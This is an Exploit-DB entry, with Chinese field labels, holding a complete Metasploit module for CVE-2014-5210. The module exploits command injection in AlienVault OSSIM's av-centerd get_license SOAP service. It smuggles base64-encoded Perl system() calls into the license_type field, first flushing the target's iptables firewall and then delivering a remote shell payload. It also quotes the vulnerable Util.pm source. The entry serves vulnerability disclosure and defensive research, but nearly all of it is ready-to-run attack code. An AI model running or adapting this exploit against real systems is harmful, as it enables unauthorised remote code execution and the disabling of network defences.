标题: Alienvault Open Source SIEM (OSSIM) < 4.7.0 - 'get_license' Remote Command Execution (Metasploit) EDB-ID: 42697 CVE: 2014-5210 类型: REMOTE 平台: LINUX 发布日期: 2014-08-14 漏洞利用脚本: require 'msf/core'
require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include REXML

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Alienvault OSSIM av-centerd Command Injection get_license',
   'Description' => %q{
    This module exploits a command injection flaw found in the get_license
    function found within Util.pm. The vulnerability is triggered due to an
    unsanitized $license_type parameter passed to a string which is then
    executed by the system.
   },
   'Author' => [ 'james fitts' ],
   'License' => MSF_LICENSE,
   'References' =>
    [
     [ 'CVE', '2014-5210' ],
     [ 'ZDI', '14-294' ],
     [ 'BID', '69239' ],
     [ 'URL', 'https://www.alienvault.com/forums/discussion/2690' ]
    ],
   'Privileged' => true,
   'Platform'  => 'unix',
   'Arch'   => ARCH_CMD,
   'DefaultOptions' =>
    {
     'SSL' => true,
    },
   'Payload' =>
    {
     'Compat' => {
      'RequiredCmd' => 'perl netcat-e openssl python gawk'
     }
    },
   'DefaultTarget' => 0,
   'Targets' =>
    [
     ['Alienvault <= 4.7.0',{}]
    ],
   'DisclosureDate' => 'Aug 14 2014'))

   register_options([Opt::RPORT(40007)], self.class)
 end

 def check
  version = ""
  res = send_soap_request("get_dpkg")

  if res &&
   res.code == 200 &&
   res.headers['SOAPServer'] &&
   res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
   res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/

   version = $1
  end

  if version.empty? || version >= "4.7.0"
   return Exploit::CheckCode::Safe
  else
   return Exploit::CheckCode::Appears
  end
 end

 def build_soap_request(method, pass)
  xml = Document.new
  xml.add_element(
   "soap:Envelope",
   {
    "xmlns:xsi"      => "http://www.w3.org/2001/XMLSchema-instance",
    "xmlns:soapenc"    => "http://schemas.xmlsoap.org/soap/encoding/",
    "xmlns:xsd"      => "http://www.w3.org/2001/XMLSchema",
    "soap:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/",
    "xmlns:soap"     => "http://schemas.xmlsoap.org/soap/envelope/"
   })

  body = xml.root.add_element("soap:Body")
  m = body.add_element(method, { 'xmlns' => "AV/CC/Util" })

  args = []
  args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
  args[0].text = "All"

  args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
  args[1].text = "423d7bea-cfbc-f7ea-fe52-272ff7ede3d2"

  args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
  args[2].text = "#{datastore['RHOST']}"

  args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
  args[3].text = "#{rand_text_alpha(4 + rand(4))}"

  args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
  args[4].text = "#{rand_text_alpha(4 + rand(4))}"

  if pass == '0'
   args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
   perl_payload =  "system(decode_base64"
   perl_payload += "(\"#{Rex::Text.encode_base64("iptables --flush")}\"))"
   args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
  elsif pass == '1'
   args[5] = m.add_element("c-gensym13", {'xsi:type' => 'xsd:string'})
   perl_payload =  "system(decode_base64"
   perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
   args[5].text = "|perl -MMIME::Base64 -e '#{perl_payload}';"
  end

  xml.to_s
 end

 def send_soap_request(method, timeout=20, action)
  if action == 'disable'
   soap = build_soap_request(method, '0')
  elsif action == 'pop_shell'
   soap = build_soap_request(method, '1')
  end

  res = send_request_cgi({
   'uri'  => '/av-centerd',
   'method' => 'POST',
   'ctype'  => 'text/xml; charset=UTF-8',
   'data'  => soap,
   'headers' => {
    'SOAPAction' => "\"AV/CC/Util##{method}\""
   }
  }, timeout)

  res
 end

 def exploit
  print_status("Disabling firewall...")
  send_soap_request("get_license", 1, "disable")

  print_status("Popping shell...")
  send_soap_request("get_license", 1, "pop_shell")
 end
end
__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub get_license() {
    my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $license, $license_type ) = @_;
    verbose_log_file(
        "LICENSE $license_type:Received call from $uuid : ip source = $admin_ip, hostname = $hostname:($funcion_llamada,$nombre,$license,$license_type)"
    );

    my $deb='/usr/share/ossim-installer/temp/avl.deb';
    my $header='/usr/share/ossim-installer/temp/header';

    unlink $deb if ( -f $deb ); #delete previous file if found
    unlink $header if ( -f $header ); #delete previous file if found

    my $user_agent_uuid = AV::uuid::get_uuid;
       $SIG{CHLD} = 'DEFAULT';
    my $license_encoded = uri_escape($license);
    my $package = system ( "curl --proxy-anyauth -K /etc/curlrc --max-time 20 --user-agent $user_agent_uuid --dump-header $header -o $deb http://data.alienvault.com/avl/$license_type/?license=$license_encoded" );
        $SIG{CHLD} = 'IGNORE';

    my @out = q{};

    if ( !-e $header || -z $header ) {
        @out = ( '1', 'Imposible to connect. Please check your network configuration' );
        unlink $header;
        return \@out;
    }

    if ( -e $deb ) {

        open HEADERFILE, "< $header" or die "Not  $!";
        my @header_content = <HEADERFILE>;
        close(HEADERFILE);
        my $response_ok = 0;
        foreach (@header_content) {

            if ( $_ =~ / 200 OK/) {
                $response_ok = 1;
            }
        }
        if ( $response_ok == 0 ) {
            @out = ( '1', 'Imposible to connect. Please check your network configuration' );
            unlink $header;
            unlink $deb;
            return \@out;
        }


        $SIG{CHLD} = 'DEFAULT';
        my $command = "/usr/bin/dpkg -i --force-confnew $deb";
        verbose_log_file ("LICENSE $license_type: $command");
        my $result = qx{$command};
        $SIG{CHLD} = 'IGNORE';
        $result >>= 8 ;
        if ( $result == 0 ) {
            verbose_log_file ("LICENSE $license_type: SUCCESS. Installed");
            unlink $deb;
            unlink $header;
            @out = ( '0', 'SUCCESS. Installed' );
            return \@out;
        }
        else
        {
            verbose_log_file ("LICENSE $license_type: ERROR. Install failed");
            @out = ( '2', 'ERROR. Install failed' );
            unlink $deb;
            unlink $header;
            return \@out;
        }
    }
    else
    {
        my $error_msg;
        verbose_log_file ("LICENSE $license_type: ERROR MSG");
        open LFILE, "< $header" or die "Not  $!";
        my @header_msg = <LFILE>;
        close(LFILE);
        foreach(@header_msg){
            verbose_log_file ($_);
            if ($_ =~ m/X-AV-ERROR/)
            {
                $error_msg = $_;
            }
        }
        unlink $header;

        @out = ( '2', substr($error_msg, 12, -1)); # Remove 'X-AV-ERROR: 'and \n
        return \@out;
    }
} URL: https://www.exploit-db.com/exploits/42697